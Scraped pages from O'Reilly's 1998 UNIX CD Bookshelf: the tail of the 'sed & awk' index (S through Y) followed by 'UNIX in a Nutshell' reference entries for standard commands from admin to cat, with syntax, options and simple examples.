2.1. Awk, by Sed and Grep, out of Ed
2.2. Command-Line Syntax
2.2.1. Scripting
B.1.1. Shell Wrapper for Invoking awk
debugging : 10.7. Debugging
examples of : 13. A Miscellany of Scripts
as files : 2.3.2. Script Files
format of : B.2.2. Format of a Script
modularizing : 10.7.3. Finding Out Where the Problem Is
names for : 2.2. Command-Line Syntax
passing parameters to : 7.10. Passing Parameters Into a Script
phrase (example script) : 6.5. To Join a Phrase
stopping, sed : (see q command (sed))
search path for awk files : 11.2.3.2. An awk program search path
search-and-replace : 1.2. A Stream Editor
matching extent : 3.2.12.1. The extent of the match
sed
1.2. A Stream Editor
2.3. Using sed
with awk : 2.5. Using sed and awk Together
command-line syntax
2.2. Command-Line Syntax
A.1. Command-Line Syntax
commands
5. Basic sed Commands
5.1. About the Syntax of sed Commands
6. Advanced sed Commands
(see also under specific command)
syntax of : 5.1. About the Syntax of sed Commands
commands for : A.3. Command Summary for sed
documentation for : Other Sources of Information About sed and awk
ed versus : 2.1. Awk, by Sed and Grep, out of Ed
error messages : 2.3.1.1. Command garbled
obtaining : Availability of sed and awk
options
2.3.1. Specifying Simple Instructions
2.3.2.4. Summary of options
(see also under specific option)
programming tips for : 4.5. Getting to the PromiSed Land
quick reference : A.1. Command-Line Syntax
regular expression metacharacters : A.2.2. Regular Expression Metacharacters for sed
semicolon (;)
2.3.1. Specifying Simple Instructions
2.4.1. Running awk
B.2.2.1. Line termination
shell scripts : (see scripts)
shells
1.4. Four Hurdles to Mastering sed and awk
2.3.1. Specifying Simple Instructions
(see also under specific shell name)
sin() : 9.1.1. Trigonometric Functions
single quotation marks (')
2.2. Command-Line Syntax
2.3.1. Specifying Simple Instructions
slash (/)
/= (assignment) operator : 7.6. Expressions
// as delimiter
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
division operator : 7.6. Expressions
in ed commands : 2.1. Awk, by Sed and Grep, out of Ed
sort function (example)
9.3.1. Writing a Sort Function
9.3.3. Another Sorted Example
sort program : 2.5. Using sed and awk Together
sorting array elements (tawk) : 11.3.2.1. Tawk language extensions
source code, obtaining : (see obtaining)
--source option (gawk) : 11.2.3.1. Command line options
space characters
2.3.1. Specifying Simple Instructions
5.1. About the Syntax of sed Commands
as awk delimiters
2.4.1. Running awk
7.5.2. Field Splitting: The Full Story
as string concatenator : 7.6. Expressions
span, character
3.2. A Line-Up of Characters
3.2.8. A Span of Characters
special characters
2.3.1. Specifying Simple Instructions
3. Understanding Regular Expression Syntax
(see also escape sequences, awk; metacharacters)
special filenames
11.2.1.4. Special filenames
11.2.3.7. Additional special files
spell checker program (example) : 12.1. An Interactive Spelling Checker
spellcheck.awk program : C.1. Full Listing of spellcheck.awk
split()
8.4.4. Using split() to Create Arrays
9.2. String Functions
11.2.1.2. Obtaining individual characters
sprintf() : 9.2. String Functions
sqrt() : 9.1.1. Trigonometric Functions
srand() : 9.1.3. Random Number Generation
standard input/output : 2.2. Command-Line Syntax
start
of line : (see ^ (circumflex))
of word : (see \<, \> escape sequences)
statements, awk : B.2.6. Statements and Functions
stopping sed scripts : (see q command (sed))
stream editor
1.2. A Stream Editor
2.1. Awk, by Sed and Grep, out of Ed
4.4.4. Edits To Go
strftime() : 11.2.3.11. Time management for programmers
strings
3.1. That's an Expression
7.6. Expressions
comparing : 9.2.5. The match() Function
concatenating : 7.6. Expressions
converting from numbers : 7.7. System Variables
fixed : (see fixed strings)
functions for : 9.2. String Functions
length of : 9.2.2. String Length
limitations on : 10.8. Limitations
parsing into array elements
8.4.4. Using split() to Create Arrays
11.2.1.2. Obtaining individual characters
substitution functions (awk)
9.2.3. Substitution Functions
11.2.3.10. A general substitution function
substrings : 9.2.1. Substrings
stripping non-printable characters : 5.6.1. Stripping Out Non-Printable Characters from nroff Files
sub()
9.2. String Functions
9.2.3. Substitution Functions
11.2.3.10. A general substitution function
SUBSEP variable : 8.5.1. Multidimensional Arrays
substitute command : (see s command)
substituting text (sed)
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
(see also s command (sed))
relacement metacharacters : 5.3.1. Replacement Metacharacters
substitution functions (awk)
9.2.3. Substitution Functions
11.2.3.10. A general substitution function
substr()
9.2. String Functions
9.2.1. Substrings
11.2.1.2. Obtaining individual characters
substrings : (see strings)
subtraction (-) operator : 7.6. Expressions
suppressing output
2.3.2.2. Suppressing automatic display of input lines
5.2. Comment
syntax
command-line
2.2. Command-Line Syntax
A.1. Command-Line Syntax
B.1. Command-Line Syntax
sed commands : 5.1. About the Syntax of sed Commands
system() : 10.3. The system() Function
system time : 11.2.3.11. Time management for programmers
system variables
7.7. System Variables
8.6. System Variables That Are Arrays
B.2.5.5. System variables
gawk : 11.2.3.8. Additional variables
systime() : 11.2.3.11. Time management for programmers

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: T

t command (sed) : 6.4.2. The Test Command
tawk : 11.3.2. Thompson Automation awk (tawk)
terminal, user : 11.2.1.4. Special filenames
terminating lines : B.2.2.1. Line termination
terminator, record : 11.2.3.5. Regular expression record terminators
test command : (see t command (sed))
testing
for membership in arrays : 8.4.2. Testing for Membership in an Array
output : 4.3. Testing and Saving Output
text blocks : 6.3.3. Building Blocks of Text
Thompson Automation awk (tawk) : 11.3.2. Thompson Automation awk (tawk)
tilde (~) operator
7.5.1. Referencing and Separating Fields
7.8. Relational and Boolean Operators
time management : 11.2.3.11. Time management for programmers
tolower()
9.2. String Functions
9.2.4. Converting Case
toupper()
9.2. String Functions
9.2.4. Converting Case
--traditional option (gawk) : 11.2.3.1. Command line options
transform command : (see y command (sed))
transpose script (example) : 13.9. transpose - Perform a Matrix Transposition
trigonometric functions : 9.1.1. Trigonometric Functions
truncating numbers : 9.1.2. Integer Function

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: U

union metacharacter, lack of : 3.2.9. Alternative Operations
union of regular expressions
3.2. A Line-Up of Characters
3.2.9. Alternative Operations
uppercase : (see capitalization)
user-defined functions : 9.3. Writing Your Own Functions
UUCP : UUCP
uutot.awk script (example) : 13.1. uutot.awk - Report UUCP Statistics

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: V

-v option (awk)
7.10. Passing Parameters Into a Script
10.4. A Menu-Based Command Generator
variables
7.6. Expressions
B.2.5.3. Variables
arrays : (see arrays)
assigning input to : 10.1.2. Assigning the Input to a Variable
as Boolean patterns : 11.1.4. Variables as Boolean Patterns
built-in
7.7. System Variables
11.1.11. Built-In Variables
gawk : 11.2.3.8. Additional variables
environment : 8.6.2. An Array of Environment Variables
local vs. global : 9.3. Writing Your Own Functions
scope control (tawk) : 11.3.2.1. Tawk language extensions
system : (see system variables)
verifying : (see testing)
versions, awk
Availability of sed and awk
11.1. Original awk
11.2.2. Bell Labs awk
vertical bar (|)
as metacharacter
3.2. A Line-Up of Characters
3.2.9. Alternative Operations
piping output with : 10.5.1. Directing Output to a Pipe
vi editor : 5.6. List
Videosoft VSAwk : 11.3.3. Videosoft VSAwk
Visual Basic, awk for : 11.3.3. Videosoft VSAwk

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: W

w command (sed) : 5.11. Reading and Writing Files
\w escape sequence : 11.2.3.4. Extended regular expressions
\W escape sequence : 11.2.3.4. Extended regular expressions
w flag : 5.3. Substitution
while loop : 8.2.1. While Loop
whitespace : (see space characters)
width, output field : 7.9. Formatted Printing
wildcard metacharacter : (see . (dot))
write command : (see w command (sed))
writing
from files : 5.11. Reading and Writing Files
to files
2.3.2.1. Saving output
5.11. Reading and Writing Files
10.5. Directing Output to Files and Pipes
regular expressions : 3.2.3. Writing Regular Expressions
scripts : 1.4. Four Hurdles to Mastering sed and awk
awk : 7. Writing Scripts for awk
sed : 4. Writing sed Scripts
user-defined functions : 9.3. Writing Your Own Functions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: X

x command (sed)
6.3. Hold That Line
6.3.2. Correcting Index Entries (Part II)
6.3.3. Building Blocks of Text

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Y

y command (sed) : 5.7. Transform
\y escape sequence : 11.2.3.4. Extended regular expressions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: admin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 2. UNIX Commands Chapter 2
UNIX Commands 		Next: Reference: apropos

admin

admin [options] files

An SCCS command. See Section 17.

Previous: 2. UNIX Commands | UNIX in a Nutshell: System V Edition | Next: Reference: apropos
2. UNIX Commands | Book Index | Reference: apropos
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: apropos

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: admin Chapter 2
UNIX Commands 		Next: Reference: ar

apropos

/usr/ucb/apropos keywords

Look up one or more keywords in the on-line manual pages. Same as man -k. See also whatis.

Previous: Reference: admin | UNIX in a Nutshell: System V Edition | Next: Reference: ar
Reference: admin | Book Index | Reference: ar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ar

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: apropos Chapter 2
UNIX Commands 		Next: Reference: as

ar

ar [-V] key [args] [posname] archive  [files]

Maintain a group of files that are combined into a file archive. Used most commonly to create and update library files as used by the link editor (ld). Only one key letter may be used, but each can be combined with additional args (with no separations between). posname is the name of a file in archive. When moving or replacing files, you can specify that they be placed before or after posname. See lorder for another example. -V prints the version number of ar on standard error.

Key

d

Delete files from archive.

m

Move files to end of archive.

p

Print files in archive.

q

Append files to archive.

r

Replace files in archive.

t

List the contents of archive or list the named files.

x

Extract contents from archive or only the named files.

Args

a

Use with r or m to place files in the archive after posname.

b

Same as a but before posname.

c

Create archive silently.

i

Same as b.

l

Place temporary files in local directory rather than /tmp (SVR3 only).

s

Force regeneration of archive symbol table (useful after running strip or mcs).

u

Use with r to replace only files that have changed since being put in archive.

v

Verbose; print a description.

Example

Replace mylib.a with object files from the current directory:

ar r mylib.a `ls *.o`

Previous: Reference: apropos | UNIX in a Nutshell: System V Edition | Next: Reference: as
Reference: apropos | Book Index | Reference: as
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: as

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ar Chapter 2
UNIX Commands 		Next: Reference: at

as

as [options] files

Generate an object file from each specified assembly language source file. Object files have the same root name as source files but replace the .s suffix with .o. There may be additional system-specific options. See also dis.

Options

-m

Run m4 on file.

-n

Turn off optimization of long/short addresses.

-o objfile

Place output in object file objfile (default is file.o).

-Qc

Put the assembler's version number in the object file (when c = y); default is not to put it (c = n).

-R

Remove file upon completion.

-T

Force obsolete assembler directives to be obeyed.

-V

Display the version number of the assembler.

-Y [key,] dir

Search directory dir for the m4 preprocessor (if key is m), for the file containing predefined macros (if key is d), or for both (if key is omitted).

Previous: Reference: ar | UNIX in a Nutshell: System V Edition | Next: Reference: at
Reference: ar | Book Index | Reference: at
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: at

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: as Chapter 2
UNIX Commands 		Next: Reference: atq

at

at options1 time [date] [+ increment]
at options2 [jobs]

Execute commands entered on standard input at a specified time and optional date. (See also batch.) End input with EOF. time can be formed either as a numeric hour (with optional minutes and modifiers) or as a keyword. date can be formed either as a month and date, as a day of the week, or as a special keyword. increment is a positive integer followed by a keyword. See below for details.

Options1

-f file

Execute commands listed in file.

-m

Send mail to user after job is completed.

Options2

-l

Report all jobs that are scheduled for the invoking user or, if jobs are specified, report only for those. See also atq.

-r

Remove specified jobs that were previously scheduled. To remove a job, you must be a privileged user or the owner of the job. Use -l first to see the list of scheduled jobs. See also atrm.

Time

hh:mm [modifiers]

Hours can have one digit or two (a 24-hour clock is assumed by default); optional minutes can be given as one or two digits; the colon can be omitted if the format is h, hh, or hhmm; e.g., valid times are 5, 5:30, 0530, 19:45. If modifier am or pm is added, time is based on a 12-hour clock. If the keyword zulu is added, times correspond to Greenwich Mean Time.

midnight | noon | now

Use any one of these keywords in place of a numeric time. now must be followed by an increment.

Date

month num[, year]

month is one of the 12 months, spelled out or abbreviated to their first three letters; num is the calendar date of the month; year is the four-digit year. If the given month occurs before the current month, at schedules that month next year.

day

One of the seven days of the week, spelled out or abbreviated to their first three letters.

today | tomorrow

Indicate the current day or the next day. If date is omitted, at schedules today when the specified time occurs later than the current time; otherwise, at schedules tomorrow.

Increment

Supply a numeric increment if you want to specify an execution time or day relative to the current time. The number should precede any of the keywords minute, hour, day, week, month, or year (or their plural forms). The keyword next can be used as a synonym of + 1.

Examples

Note that the first two commands are equivalent:

at 1945 pm December 9
at 7:45pm Dec 9
at 3 am Saturday
at now + 5 hours
at noon next day

Previous: Reference: as | UNIX in a Nutshell: System V Edition | Next: Reference: atq
Reference: as | Book Index | Reference: atq
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: atq

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: at Chapter 2
UNIX Commands 		Next: Reference: atrm

atq

atq [options] [users]

Print jobs created by the at command which are still in the queue. Normally, jobs are sorted by the order in which they will execute. Specify the users whose jobs you want to check. If no users are specified, the default is to display all jobs if you're a privileged user; otherwise, only your jobs are displayed.

Options

-c

Sort the queue according to the time the at command was given.

-n

Print only the total number of jobs in queue.

Previous: Reference: at | UNIX in a Nutshell: System V Edition | Next: Reference: atrm
Reference: at | Book Index | Reference: atrm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: atrm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: atq Chapter 2
UNIX Commands 		Next: Reference: awk

atrm

atrm [options] [users | jobIDs]

Remove jobs queued with at that match the specified jobIDs. A privileged user may also specify the users whose jobs are to be removed.

Options

-a

Remove all jobs belonging to the current user. (A privileged user can remove all jobs.)

-f

Remove jobs unconditionally, suppressing all information regarding removal.

-i

Prompt for y (remove the job) or n (do not remove).

Previous: Reference: atq | UNIX in a Nutshell: System V Edition | Next: Reference: awk
Reference: atq | Book Index | Reference: awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: awk

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: atrm Chapter 2
UNIX Commands 		Next: Reference: banner

awk

awk [options] [program] [var=value ...] [files]

Use the pattern-matching program to modify the specified files. awk has been replaced by nawk (there's also a GNU version called gawk). program instructions have the general form:

pattern { procedure }

pattern and procedure are each optional. When specified on the command line, program must be enclosed in single quotes to prevent the shell from interpreting its special symbols. Any variables specified in program can be assigned an initial value by using command-line arguments of the form var=value. See Section 11 for more information (including examples) on awk.

Options

-f file

Use program instructions contained in file, instead of specifying program on the command line.

-Fc

Treat input file as fields separated by character c. Default input field separator is space or tab.

Previous: Reference: atrm | UNIX in a Nutshell: System V Edition | Next: Reference: banner
Reference: atrm | Book Index | Reference: banner
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: banner

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: awk Chapter 2
UNIX Commands 		Next: Reference: basename

banner

banner characters

Print characters as a poster on the standard output. Each word supplied must contain ten characters or less.

Previous: Reference: awk | UNIX in a Nutshell: System V Edition | Next: Reference: basename
Reference: awk | Book Index | Reference: basename
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: basename

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: banner Chapter 2
UNIX Commands 		Next: Reference: batch

basename

basename pathname [suffix]

Given a pathname, strip the path prefix and leave just the filename, which is printed on standard output. If specified, a filename suffix (e.g., .c) is removed also. basename is typically invoked via command substitution (` `) to generate a filename. See also dirname.

Example

Given the following fragment from a Bourne shell script:

prog_name="`basename $0`"
echo "$prog_name: QUITTING: can't open $ofile"/
     1>&2 ; exit 1

If the script is called do_it, then the following message would be printed on standard error:

do_it: QUITTING: can't open output_file

Previous: Reference: banner | UNIX in a Nutshell: System V Edition | Next: Reference: batch
Reference: banner | Book Index | Reference: batch
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: batch

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: basename Chapter 2
UNIX Commands 		Next: Reference: bc

batch

batch

Execute commands entered on standard input. End with EOF. Unlike at, which will execute commands at a specific time, batch executes commands one after another (waiting for each one to complete). This avoids the high system load caused by running several background jobs at once. See also at.

Example

batch
sort in > out
troff -ms bigfile
EOF

Previous: Reference: basename | UNIX in a Nutshell: System V Edition | Next: Reference: bc
Reference: basename | Book Index | Reference: bc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: bc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: batch Chapter 2
UNIX Commands 		Next: Reference: bdiff

bc

bc [options] [files]

Interactively perform arbitrary-precision arithmetic or convert numbers from one base to another. Input can be taken from files or read from the standard input. To exit, type quit or EOF.

Options

-c

Do not invoke dc; compile only. (Since bc is a preprocessor for dc, bc normally invokes dc.)

-l

Make available functions from the math library.

bc is a language (and compiler) whose syntax resembles that of C. bc consists of identifiers, keywords, and symbols, which are briefly described below. Examples follow at end.

Identifiers

An identifier is a single character, consisting of the lowercase letters a-z. Identifiers are used as names for variables, arrays, and functions. Within the same program you may name a variable, an array, and a function using the same letter. The following identifiers would not conflict:

x

Variable x.

x[i]

Element i of array x. i can range from 0 to 2047 and can also be an expression.

x(y,z)

Call function x with parameters y and z.

Input-output keywords

ibase, obase, and scale store a value. Typing them on a line by themselves displays their current value. More commonly, you would change their values through assignment. Letters A-F are treated as digits whose values are 10-15.

ibase = n

Numbers that are input (e.g., typed) are read as base n (default is 10).

obase = n

Numbers displayed are in base n (default is 10). Note: Once ibase has been changed from 10, use digit "A" to restore ibase or obase to decimal.

scale = n

Display computations using n decimal places (default is 0, meaning that results are truncated to integers). scale is normally used only for base-10 computations.

Statement keywords

A semicolon or a newline separates one statement from another. Curly braces are needed only when grouping multiple statements.

if (rel-expr) {statements}

Do one or more statements if relational expression rel-expr is true; for example:

if(x==y) i = i + 1.

while (rel-expr) {statements}

Repeat one or more statements while rel-expr is true; for example:

while(i>0) {p = p*n; q = a/b; i = i-1}

for (expr1;rel-expr;expr2) {statements}

Similar to while; for example, to print the first 10 multiples of 5, you could type:

for(i=1; i<=10; i++) i*5

break

Terminate a while or for statement.

Function keywords

define j(k) {

Begin the definition of function j having a single argument k. Additional arguments are allowed, separated by commas. Statements follow on successive lines. End with a }.

auto x, y

Set up x and y as variables local to a function definition, initialized to 0 and meaningless outside the function. Must appear first.

return(expr)

Pass the value of expression expr back to the program. Return 0 if (expr) is left off. Used in function definitions.

sqrt(expr)

Compute the square root of expression expr.

length(expr)

Compute how many digits are in expr.

scale(expr)

Same, but count only digits to the right of the decimal point.

Math library functions

These are available when bc is invoked with -l. Library functions set scale to 20.

s(angle)

Compute the sine of angle, a constant or expression in radians.

c(angle)

Compute the cosine of angle, a constant or expression in radians.

a(n)

Compute the arctangent of n, returning an angle in radians.

e(expr)

Compute e to the power of expr.

l(expr)

Compute natural log of expr.

j(n, x)

Compute Bessel function of integer order n.

Operators

These consist of operators and other symbols. Operators can be arithmetic, unary, assignment, or relational.

arithmetic

+ - * / % ^

unary

- ++ --

assignment

=+ =- =* =/ =% =^ =

relational

< <= > >= == !=

Other symbols

/* */

Enclose comments.

( )

Control the evaluation of expressions (change precedence). Can also be used around assignment statements to force the result to print.

{ }

Used to group statements.

[ ]

Array index.

"text"

Use as a statement to print text.

Examples

Note below that when you type some quantity (a number or expression), it is evaluated and printed, but assignment statements produce no display.

ibase = 8	Octal input.
20		Evaluate this octal number.
16		Terminal displays decimal value.
obase = 2	Display output in base 2 instead of base 10.
20		Octal input.
10000	Terminal now displays binary value.
ibase = A	Restore base 10 input.
scale = 3	Truncate results to 3 places.
8/7		Evaluate a division.
1.001001000	Oops!  Forgot to reset output base to 10.
obase=10	Input is decimal now, so "A" isn't needed.
8/7
1.142	Terminal displays result (truncated).

The following lines show the use of functions:

define p(r,n){    Function p uses two arguments.
  auto v          v is a local variable.
  v = r^n         r raised to the n power.
  return(v)}      Value returned.

scale=5
x=p(2.5,2)        x = 2.5 ^ 2
x                 Print value of x.
6.25
length(x)         Number of digits.
3
scale(x)          Number of places right of decimal point.
2

Previous: Reference: batch | UNIX in a Nutshell: System V Edition | Next: Reference: bdiff
Reference: batch | Book Index | Reference: bdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: bdiff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: bc Chapter 2
UNIX Commands 		Next: Reference: bfs

bdiff

bdiff file1 file2 [options]

Compare file1 with file2 and report the differing lines. bdiff splits the files and then runs diff, allowing it to act on files that would normally be too large to handle. bdiff reads standard input if one of the files is - . See also diff.

Options

n

Split each file into n-line segments (default is 3500). This option must be listed first.

-s

Suppress error messages from bdiff (but not from diff).

Previous: Reference: bc | UNIX in a Nutshell: System V Edition | Next: Reference: bfs
Reference: bc | Book Index | Reference: bfs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: bfs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: bdiff Chapter 2
UNIX Commands 		Next: Reference: cal

bfs

bfs [option] file

Big file scanner. Read a large file, using ed-like syntax. This command is more efficient than ed for scanning very large files because the file is not read into a buffer. Files can be up to 1024K bytes. bfs can be used to view a large file and identify sections to be divided with csplit. Not too useful.

Option

-

Do not print the file size.

Previous: Reference: bdiff | UNIX in a Nutshell: System V Edition | Next: Reference: cal
Reference: bdiff | Book Index | Reference: cal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cal

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: bfs Chapter 2
UNIX Commands 		Next: Reference: calendar

cal

cal [[month] year]

With no arguments, print a calendar for the current month. Otherwise, print either a 12-month calendar (beginning with January) for the given year or a one-month calendar of the given month and year. month ranges from 1 to 12. year ranges from 1 to 9999.

Examples

cal 12 1994
cal 1994 > year_file

Previous: Reference: bfs | UNIX in a Nutshell: System V Edition | Next: Reference: calendar
Reference: bfs | Book Index | Reference: calendar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: calendar

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cal Chapter 2
UNIX Commands 		Next: Reference: cancel

calendar

calendar [option]

Read your calendar file and display all lines that contain the current date. The calendar file is like a memo board. You create the file and add entries like the following:

5/4     meeting with design group at 2 pm
may 6   pick up anniversary card on way home

When you run calendar on May 4, the first line is displayed. calendar can be automated by using crontab or at or by including it in your startup files .profile or .cshrc.

Option

-

Allow a privileged user to invoke calendar for all users, searching each user's login directory for a file named calendar. Entries that match are sent to a user via mail.

Previous: Reference: cal | UNIX in a Nutshell: System V Edition | Next: Reference: cancel
Reference: cal | Book Index | Reference: cancel
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cancel

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: calendar Chapter 2
UNIX Commands 		Next: Reference: cat

cancel

cancel [options] [printer]

Cancel print requests made with lp. The request can be specified by its ID, by the printer on which it is currently printing, or by the username associated with the request (only privileged users can cancel another user's print requests). Use lpstat to determine either the id or the printer to cancel.

Options

id

Cancel print request id.

-u user

Cancel request associated with user.

Previous: Reference: calendar | UNIX in a Nutshell: System V Edition | Next: Reference: cat
Reference: calendar | Book Index | Reference: cat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cancel Chapter 2
UNIX Commands 		Next: Reference: cb

cat

cat [options] [files]

Read one or more files and print them on standard output. Read standard input if no files are specified or if - is specified as one of the files; end input with EOF. You can use the > operator to combine several files into a new file; use >> to append files to an existing file.

Options

-e

Print a $ to mark the end of each line. Must be used with -v.

-s

Suppress messages about nonexistent files. (Note: In the BSD version, -s squeezes out extra blank lines.)

-t

Print each tab as ^I and each form feed as ^L. Must be used with -v.

-u

Print output as unbuffered (default is buffered in blocks or screen lines).

-v

Display control characters and other nonprinting characters.

Examples

cat ch1		Display a file.
cat ch1 ch2 ch3 > all		Combine files.
cat note5 >> notes		Append to a file.
cat > temp1		Create file at terminal; end with EOF.
cat > temp2 << STOP		Create file at terminal; end with STOP.

Previous: Reference: cancel | UNIX in a Nutshell: System V Edition | Next: Reference: cb
Reference: cancel | Book Index | Reference: cb
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cb

UNIX in a Nutshell: System V Edition

